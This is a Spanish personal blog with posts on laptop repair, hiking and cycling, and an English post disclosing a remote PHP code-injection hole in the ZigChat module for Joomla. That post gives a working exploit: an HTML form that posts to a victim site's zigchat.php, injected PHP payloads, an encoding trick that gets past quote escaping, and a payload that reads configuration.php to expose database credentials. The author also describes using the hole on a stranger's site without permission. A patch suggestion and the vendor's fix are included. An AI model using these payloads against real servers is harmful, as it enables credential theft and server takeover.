viernes, abril 27, 2007

Mi ordenador se muere... y revive...

Ayer enciendo el ordenador y PUM pantalla en negro. Pienso, vaya, se me ha estropeado el güindows, vamos a arrancar en Linux. PUM pantalla parpadeante de colorines. Y pienso, uf esto se complica, me habrá cascado el disco duro, no importa, tengo backups de cada mes, arranquemos desde una LIVE CD, y PUM pantalla en negro. Desconecto todos los cables y saco el disco duro, reinicio y en vez de pantalla en negro recibo la siguiente imagen:


La imagen que aparece nada más encender el ordenador... ¡¡HORROR!!

Y en ese momento se me ponen los pelos de punta y se me suben las bolillas a lo más alto. Mi ordenador portátil tiene algún problema de hardware y eso significa que hay que llevarlo a reparar, o peor aún, esto es un portátil, casi todo está integrado y una reparación puede salir más caro que un ordenador nuevo. Reviso mis cuentas… no, este es el peor momento para un gasto semejante…

Me dedico a quitar piezas y poner piezas, y tras dos días haciendo pruebas he encontrado el problema, y es este:


La tarjetita de las narices, que es enana y cara como ella sola (de fondo el ratón para comparar tamaños)

Esta tarjetita la compré hace casi dos años, es una memoria RAM de 1G, son caras, pero hace que tu ordenador vuele, es la mejor inversión que se le puede hacer a un ordenador de 2 años (por si es tu caso aunque a mi me ha salido el culo por el tiro o al revés :-D). Con esta memoria instalada, el ordenador se dedica a poner colorines parpadeantes en la pantalla. Incluso cuando estoy dentro de la BIOS, en el momento que esos colorines saltan, el ordenador se para completamente. Sin ella sin embargo el ordenador no me ha fallado ni una sola vez. Sospecho que la razón de haberse estropeado ha sido el calor, pues en estas pruebas de quita y pon, mi vieja tarjeta de 256Mb ha salido requetecalentada algunas veces.

Así que he pasado de tener más de 1G de memoria a tener 256Mb. El ordenador va ahora 20 veces más lento. Y ayer cronometré cuanto tarda en arrancar, 25 minutos! Solo puedo ser un poco paciente y no usar el ordenador más que para lo más básico. Al menos el ordenador me funciona. De todo lo peor que podría haber pasado este es el menos malo, o de todo lo poco malo que me podía pasar, esto es lo peor. La broma me puede salir un poco cara, digamos que un 10% del coste de un ordenador nuevo.

La pregunta de las 100 pesetas ahora es, ¿merece la pena hacer esa inversión de dinero si en el futuro me voy a comprar uno nuevo? De momento le voy a dar otra oportunidad, creo que tiraré por los 10% e intentaré alargar la vida del ordenador otros dos añitos, creo que disfruto teniendo cosas viejas que arreglar…

Por otro lado, ayer mientras arreglaba este ordenador, una compañera me dejó su móvil Nokia . La pantalla le había dejado de funcionar y en la tienda la dijeron que por lo menos 150€ por arreglarlo. Así que me lo dejó a la desesperada. Yo como siempre, abro el móvil, le quito todas las piezas, lo limpio ajusto las conexiones, lo enciendo, y el móvil como nuevo!


Movil que arreglé

jueves, abril 26, 2007

Un poco de ciencia con las bolsas de patatas

En mis últimas vacaciones subimos al monte y algo gracioso ocurrió al revisar nuestras mochilas cuando llegamos a lo más alto. Las bolsas de patatas estaban totalmente hinchadas.

Estábamos a una altura de 1900 metros, que tampoco es mucho, pero los efectos de la presión atmosférica ya se dejan sentir lo suficiente como para ser observable. La explicación científica es sencilla. En la bolsa sigue habiendo la misma cantidad de aire por estar herméticamente cerrada. Sin embargo hay menos aire allí arriba, menos presión atmosférica. La bolsa se hincha...

Al bajar del monte observamos el efecto contrario en las botellas de plástico vacías, estas se habían ligeramente estrujado al nivel del mar cuando las habíamos vaciado en la cima de la montaña. ¿Curioso eh?

Aquí las fotos:


Mi cuñado con la bolsa hinchada en la cima (parece un anuncio)


La bolsa en detalle. Fijaros en la nieve, no os olvideis que estas fotos las saqué en Málaga en primavera. No sé qué es más sorprendente, si la bolsa o la nieve

Y esto me da que pensar. En países donde las ciudades están a bastante altura (Véase la cantidad de ciudades en Sudamérica) ¿Acaso introducen menos aire dentro de esos paquetes? Evidentemente esto es un tema que los productores de bolsas de patatas en su día se han planteado, y que probablemente nadie se lo haya preguntado desde fuera, jejejeje, reflexiones frikis para momentos frikis.

martes, abril 24, 2007

Mi primer accidente de bici en Bruselas

En Bruselas todos los días estoy muy muy cerca de tener accidentes, porque los conductores no me ven, los peatones no miran, porque uno se salta un stop, porque yo me salto un semáforo, por lo que sea, pero nunca pasa nada... cada día te sientes con más confianza...

El viernes pasado salía del trabajo en bici, (ahora voy siempre en bici al trabajo) e iba con otra compañera que también se ha animado a usar la bici e íbamos muy contentos contándonos los planes del fin de semana, la pobre estaba demasiado emocionada y se tropezó con la acera y acabó con los huesos en el suelo y la bici patas arriba. Yo claro, no pude más que no parar de reírme mientras la intentaba ayudar. :-D

Y cinco minutos más tarde la policía nos paraba. Un accidente había hecho que un coche se quedase colgando entre dos calles de alturas diferentes, no se podía pasar y tuvimos que improvisar. Cuando vas en bici siempre vas buscando atajos, aceras, semáforos, y esta vez me metí por el parking de una empresa.

Dentro del parking me encuentro la siguiente escena. ¿Tú por donde saldrías?


Por aquí... mmm no.... por allí

Te lo pongo más fácil, te doy dos soluciones, elige el número, el uno o el dos. No mires la solución.


La número dos es la de alta velocidad...

Yo elegí el número 2. Pensé que la podría coger a toda velocidad. Ahora hacemos zoom para ver si lo veis mejor.


Ummm ¿veis algo extraño en al foto?

¿Ves la barrera? Pues yo no la vi. Si todavía no te queda claro:


¡¡¡¡Catapúm!!!!

Y así acabé yo sobre la barrera y la bici debajo de ella. Recuerdo que la vi tan solo un segundo antes de chocarme, estaba ya girando, no podía hacer nada iba demasiado rápido... No entiendo cómo no pude verla, al día siguiente me fuí a sacarla fotos para ver como narices había hecho para no verla.

Por suerte todo acabó en un susto gracioso, cosas de esas que no se olvidan, siempre ayudan a no perder respeto. Mientras sean así, que los accidentes sean bienvenidos :-)

viernes, abril 20, 2007

Montaña y montaña y montaña, de vuelta de vacaciones!

Ya estoy de vuelta por los Bruselas, con nuevas ganas ideas y muchas cosas que hacer como siempre ;-)

No me voy a extender mucho, como siempre, mejor unas pequeñas fotos aunque esta vez no enseñan los mejores momentos, sólo algunos de ellos. Por desgracia estas vacaciones han sido muy muy raras para mi cámara. Es nueva y no me atrevo a llevarla a todos los sitios... Al final me la robarán en casa... Y sin lector de tarjetas me desanimó mucho a sacar fotos y ponerlas en el blog...

Aún así no pude resistirme, saqué miles de fotos a mi sobrinita, y llevé la cámara también a la montaña, que como siempre, es a donde más voy cuando voy de vacaciones. Se echa tantísimo de menos cuando vives durante meses dentro de un bosque de hormigón como Bruselas y en un país que es tan plano que la montaña más alta tiene 600 metros de altura... Sí, sí, en Bélgica hay mucho espacio verde y bonito, pero nada de alturas, y yo sin coche no suelo salir de ese bosque de hormigón (mea culpa).

Así pues, pasé mucho tiempo con mis amigos, compañeros de la uni, hermana, familia, y muuucha montaña (me repito y repito) :-) No hubo suerte con el tiempo, y mientras en Bruselas disfrutaban de 30º, yo no pude acercarme a las playas ni en Marbella y en casa.


Volando a casa!


Mi sobrinita bailando con mi móvil!!


En marbella, sabiendo el hambre de monte que tenía, mi cuñado nos llevó a los sitios más altos de Málaga, por Dios, -2ºC e ibamos con ropa de verano!!


Nieve nieve nieve en Málaga!, con mi cuñado y mi Aita a lo Steve Vanzan (no se como se escribe lo siento)


En la cima más nieve, mi cuñado, su aita y yo


Uno de los días uno de mis amigos se animó a subir al Alén conmigo, mi monte favorito en Bizkaia


El muy capuio me metió 3 minutos arriba!! que paliza me dió! Hubo un tiempo en el que en la bici eramos muy parejos... (Mirar el fondo que bonitas son mis tierras) :-)


Eso sí, en la cima de la montaña rompió motor (en todo el camino solo nos cruzamos a dos personas y salen en esta foto ;-))


En plena bajada cuando la cosa se ponía interesante, rompió motor otra vez, ale descanso..., esta vez no estaba tan contento de poner en práctica sus capacidades de mecánico


Y un poco después otra vez, esta vez ya si estaba enfadado, y es que esa bici era nueva!!!.


Y esta imagen no es que sea muy bonita, pero representa mucho para mi, es una zona por donde bajo con la bici y es una zona especial porque me mete en el cuerpo una sensación extraña, es un claro después de estar unos minutos entre árboles, y el camino aquí tiene poca piedra. Ya os digo, nada especial pero siempre que paso por aquí pienso algo así como "Llega el terreno bacheado sin piedras" piso un poco el freno y cuando llego la bici bota un poco descontrolada por aquí, aunque en la foto no se aprecian los baches. El hecho es que mirar esa foto me hace recordar la sensación de cuando bajo por allí, algo que hago cada vez que me escapo de Bruselas.

No tengo muchas más fotos. Al menos esta vez os habré dejado con la boca un poco llena de monte (espero :-))

miércoles, abril 04, 2007

Desfrikando un post friki xD

Muchos supongo que os habréis quedado sorprendidos acerca de mi último post en inglés. De hecho me apostaría el cuello que alguno de vosotros lo ha intentado leer pero el que más lejos ha llegado han sido dos parrafitos. ¿Qué narices es eso Aitor?

Bueno, creo que tengo que dar un par de explicaciones primero. La Web de la cual soy ‘mecánico’ (www.sondasespaciales.com) utilizaba un CMS muy antiguo. Para para para, ¿Que qué es eso? Bueno, hoy fuera los términos frikis. Digamos que es como un coche para la vida diaria de los que publicamos noticias en Internet. Así este Blog que estás leyendo es otro coche que me permite escribiros mucho más fácilmente que andando…


Yo runeando el Internet sobre mi Webe!

El caso es que el coche que usábamos en la antigua Web de SondasEspaciales pues estaba roñoso, roído, abollado, feucho, etcetcetc. Así que decidimos dar el salto de php-nuke (modelo de coche viejo) a joomla (modelo de coche nuevecito y muy de moda que todo el mundo tiene hoy en día). Por cierto, visitar la Web y dar vuestra opinión de si os gusta el nuevo coche en el que nos hemos montado.

¿Y? Vale valeee que me enrollo más que las persianas. Resulta que instalando cosas para esta Web, como siempre me encuentro con muchos errores y Bugs de los creadores. Nunca he sido una persona que vaya buscando agujeros de seguridad ni nada, simplemente busco los errores estéticos y los corrijo. Por poner un ejemplo, digamos que noté que a mi coche le bailaba el tubo de escape, lo miro, veo que en la fabrica los tornillos me los habían puesto de forma incorrecta y lo pongo bien… y la vida sigue.

Nunca he sido un experto en seguridad, pero la antigua Web nos la hackearon muchas veces (robar la radio del coche y cosas así), que si inyecciones SQL y nombres raros, y aplicando los parches fui aprendiendo como la gente roba los coches (ahora estas perdido, lo veo).

Y así el pasado Lunes en vez de arreglando Bugs, andaba tuneando el coche, colorines por aquí, colorines por allá. Y palpando con la mano noté algo raro, algo que pensé que había sido especialmente inteligente por parte del creador del coche. Un botoncito inteligente por aquí que sirve para algo muy sencillito, abrir la puertecita para la gasolina… y en ese momento se me encendió una lucecita.


Yo tuneando mi Webe!

Y así pasaron un par de horas y no podía dejar de pensar en la lucecita. ¿Y si…? ¿Y si…? ¿Y si…?. Y me decidí. Me decidí intentar robarme mi propio coche (hackearme mi propia Web de SondasEspaciales.com). Un par de horas más tarde y con un fichero de texto de 4 líneas (una pajita) y algo de imaginación, entraba en el coche y lo arrancaba sin utilizar mis las llaves. ¿Qué había hecho? Jejeje, atrevete a leer el post anterior ;-).


Yo robando mi propia Webe! Esta imagen es de la publicidad de la SGAE, seguro que ellos me multan por usar esta imagen...

Pero la eterna duda siempre llega en estos momentos. ¿Y si estoy equivocado?

Y salí al parque al lado de mi casa para relajarme (Es decir, google.com) y en el parque encontré un coche como el mío de alguien muy famoso. Pero vaya cosa que mira tu por donde, está en Alemán. Me acerco al coche y palpo el botoncito que encontré en mi coche horas antes. Y voilá, ahí esta. Así que pongo un postit bien amarillo y grande encima del agujero y les digo “Mira, me llamo Bultza, que el dueño contacte conmigo que sé como abrir este coche”. Y me vuelvo a casa.

Pasa una hora, umm estoy nervioso, vuelvo al parque y el coche sigue allí. El postit lo han quitado. Pero veo que el dueño del coche lo ha visto y ha dejado marcas con la mano probando haber si había algo raro, pero ha dejado todo igual.

Pongo otro postit, pero esta vez lo pongo en la ventana principal del coche “Tío sé como abrirte el coche, contacta conmigo”. Y vuelvo a casa. Nadie me llama. Vuelvo a bajar al parque y han quitado el postit otra vez. Me han tomado por el pito de un sereno???

Así que decido hacerme el chulo. “¿No me crees eh?” Así que escribo el postit diciendo otra vez pero esta vez hago uso del agujerito y con una pajita(archivo html de 4 lineas) abro la puerta del coche y pongo el postit pegado en la ventanilla DENTRO del coche. Y por si acaso se le despega y no se da cuenta, le enciendo las luces, y de verdad a la próxima como pase de mi le enciendo el motor.


Mira chaval que le hago un puente a tu Webe!!

Veo una flor en el parque, umm es primavera, me entretengo cinco minutos, vuelvo al coche y veo que las luces están apagadas, ni postit ni leches, me acerco a buscar el botón para abrir la puerta y arrancar el coche pero veo que han literalmente arrancado el botón la tapa y todos los cables saliendo del coche. Lo han inutilizado, han tapado el problema pero no dan ni las gracias…

Me voy a la fábrica original del coche para decirles que retiren ese producto (el botoncito) porque es peligroso y resulta que me dicen que lo han retirado hace 5 minutos del mercado, y no me dan explicaciones. Me voy a tiendas de coches y dos horas después del postit dentro del cochecito han retirado el botoncito de todas las tiendas, la voz se ha corrido…

Pongo postits por la calle (posts en los foros) diciendo que la gente con ese coche arregle su botoncito y poniendo un link a mi blog donde pueden leer como se hace para abrir el coche y como solucionarlo sin arrancar el botón.

Me voy a la cama y al día siguiente el creador del botoncito me ha mandado emails, me agradece que haya publicado el problema, le quité todo el trabajo puesto que también había explicado como arreglarlo. 12 horas después de mi postit, las tiendas tienen otra vez el botoncito a la venta, pero con la versión revisada y corregida. Miro en la cajita del botoncito y ¡veo mi nombre mencionado! El creador ha tenido un buen detalle al fin de al cabo…

Pero… en el parque sigue habiendo muchos coches como el mío, y ninguno tiene el nuevo botoncito, todavía lo tienen viejo y puedo seguir abriéndolos, veo que los coches de gente más importante han arrancado el botón de lleno y no se atreven ni a poner la nueva versión revisada con mis cambios.


Webe abandonada en el parque googleano :-(

Tengo el honor de aparecer en algunas páginas de seguridad, pero como cualquier otro agujero la gente no parece muy interesada, la noticia no explica como abrir el coche, pero dicen que las instrucciones están en mi Blog y ponen un link directo. Eso sí, mi Blog no sube para nada en cuanto a visitas… :-P Pasarán años, hasta que todos los coches con el botón defectuoso desaparezcan, pero al menos esta es una pequeña demostración de lo rápido que funciona el Software libre. Bueno, barato y seguro (si estás atento).

Me he quedado sin ser famoso. Tenía que haberme llevado el coche de esa página Web, y haber hecho algo gracioso con él, eso tal vez me hubiese dado un poco más de fama :-D fui demasiado discreto con los postit, pero supongo que no quiero líos, me quedo con el buen sabor de boca de decir “Hubo un día en el que yo sabía como abrir estos coches y absolutamente nadie más sabía (por lo menos a mi forma)”. Y desde ahora hasta que deje de existir, cada vez que vea un coche de estos en el parque, siempre me acercaré a palpar ahí arriba al lado de la ventanilla, esbozar una sonrisa si encuentro el botón defectuoso, pensar en un “podría…”, y seguir mi camino sin mirar atrás…

lunes, abril 02, 2007

Security hole and exploit for Joomla and ZigChat.

Bit in spanish…

A mis lectores asiduos, este mensaje va en inglés porque es el lenguaje más extendido en Internet y me hace falta para dar explicaciones a los portales a los que estoy advirtiendo de lo que he encontrado.
End of spanish…

This Blog has been always written in Spanish. Today I made an exception so more people will be able to beneficiate from this post as I consider it is quite important. Sorry for my English...

  • Introduction
I want to clarify that I haven’t found any bug in Joomla! But in the module called ZigChat. This bug is especially important as you can run any arbitrary php code inside the server. (For example you can create new archives with new code, or simply read the configuration file, and then enter in the data base and so on…)

Joomla! Is is one of the most powerful Open Source Content Management Systems on the planet. It is used all over the world for everything from simple websites to complex corporate applications. Joomla! is easy to install, simple to manage, and reliable.

ZigChat is a joomla shout box module using player Flash 6. - visual and sound settings fully customizable (colours, transparency, size, choice of the beep, volume,...) - automatic generation of links ' clickable ': URL or email...
  • My History
I am the webmaster of the Spanish webpage (SondasEspaciales.com) dedicated to the science, astronomy and especially the space probes. Recently we have committed a migration from php-nuke to joomla 1.0.12. During this process we found the ZigChat module and my colleagues and me fall in love with this small chat. Simple, fast and clear. However two days later we were very worried as we found spam that we couldn’t moderate easily. So as always, I entered into the code and I created my own commands. From now on we can do simple things in ZigChat like delete SPAM, don’t allowing anyone writing 2 messages in less than 10 seconds etc. During this development I realised that the messages are stored in a file called zigchat.txt.php. At the beginning I thought that being a php file was a very clever idea as this file can have only text (as it usually has) or commands for reading a text file or contacting to the database. You can do these changes own your own and you don’t need to change the client piece of software made in flash…

And then I had an idea, zigchat.txt.php has an extension php, what if someone tries to introduce a piece of code inside and runs the file?.

So I made my first try, trying to write this in the chat box…
<?php echo 'hello world' ?>
The result:


No success :(

If we check inside the file we find that the the ‘<’ symbol was correctly parsed to the html code ‘%26lt;’, very good, then none can introduce html or php code in the file… Are we sure?

Then… how can we continue? Sniffing the network with ‘ethereal’ when using the chat gave me the trick (from the php code it would have been even easier to figure out but I am very complicated…). The flash chat client connects to the web server each second to search for new messages in the file http://yourvictimwebpage/modules/mod_zigchat/zigchat.txt.php
and connects to the file http://yourvictimwebpage/modules/mod_zigchat/zigchat.php
for writing new messages in zigchat.txt.php.

If we try to run the zigchat.php we get no messages. Having a look into the code we found 2 interesting things:


Ummm POST... :)

The message and the pseudo (nick) is sent by Post method. So we create the following code in HTML and we store it in a local file with extension html (for example c:\lola.html) to simulate the behaviour of the client of the ZigChat:

<html>
 <body>
  <FORM METHOD=POST ACTION="http://victimserverwithzigchat.com/modules/mod_zigchat/zigchat.php">
   Pseudo:<br />
   <INPUT TYPE="text" NAME="pseudo" VALUE="" SIZE="20"><br />
   Text:<br />
   <textarea cols="40" rows="5" name="usertext">
   </textarea>
   <br />
   <INPUT TYPE="submit" VALUE="Submit">
  </FORM>
 </body>
</html>


Aspect of the small exploit

And we test it writing random values. When submitting we get a blank screen again. If we check in the chat box we can see we succeeded in our purposes. What if we try to insert the php code from here?

<?php echo time(); ?>
And… voilá! It worked, in the chat box we can see the UNIX time… the ‘<’ symbol was filtered in the client and not in the server as it should have been… If we refresh the chatbox we can see the time changes. We introduced code inside the server!.

So we did the most difficult part, now we know we can write php code in the remote server. But, why is this useful?. Well this is just the starting point, from here you can do lots of things, from deleting all the files from the server, up to make an image of the data base of the victim. Now you have a complete control of the server, it is even more powerful than having the account of the administrator of the CMS as you can edit all the files at your choice and upload all the code you want. Just use your imagination my friend!

Let’s make a powerful small example. Let’s try to read the configuration file of the CMS. He he he (evil’s laughs).

The following code should give us the content of the configuration file:
<?php echo file_get_contents('../../configuration.php'); ?>
However if why try this, we will destroy our possibilities of getting the control of the server as there is a parser that destroys our code and also we destroy the board, (there is a way of solving this yet if you make this mistake, you have to submit at least 50 (depending on the configuration file of your server victim) new clean an plain text messages until our erroneous code disappears).


Message if we did something wrong...

This is because there is a parsing of the character ‘'’ with the escape character ‘\’. D’Oh! And now what? Well, lets make the square round. We change the character ‘'’ for a ‘"’ and we get the same result, but if we put the html parser: ‘%22’ we get no error, but indeed it works!. So the final code would be:

<?php echo file_get_contents(%22../../configuration.php%22); ?>
And in the chat box… we see nothing, but we can call to the file http://webpage/modules/mod_zigchat/zigchat.txt.php directly and clicking in “View source” we can perfectly see the content of the configuration file of the CMS, and between all those parameters we can see the parameters for connecting with the database! So your next step should be creating a connection to the data base and get all what you want. :-)
  • Resolving the problem
Enter in the zigchat.php file and put the following code after the line 50:
$usertext = str_replace("<", "%26lt;", $usertext);
$pseudo = str_replace("<", "%26lt;", $pseudo);
$pseudo = str_replace("[INFERIEUR]", "%26lt;", $pseudo);
Warning! they can introduce the code inside the nick! ;-)

I am not a php or security expert so these changes probably are not enough for your web page, I hope some of you contribute to this message so we can properly fix the bug.

Thank you for reading me!

My email:

Bultza



UPDATE* Security version released
Only 1 hour after this publication, the affected version 1.3.5 of zigChat dissapeared and none could download the affected version. 12 hours later a new version was released. 1.3.6. fixing this security hole. I just want to thank all the people involved in this kind of actions. Especially Syan the creator of ZigChat. You can download the newest version here: http://extensions.joomla.org/component/...

In any case, there are lots of websites that have the version 1.3.5 installed yet...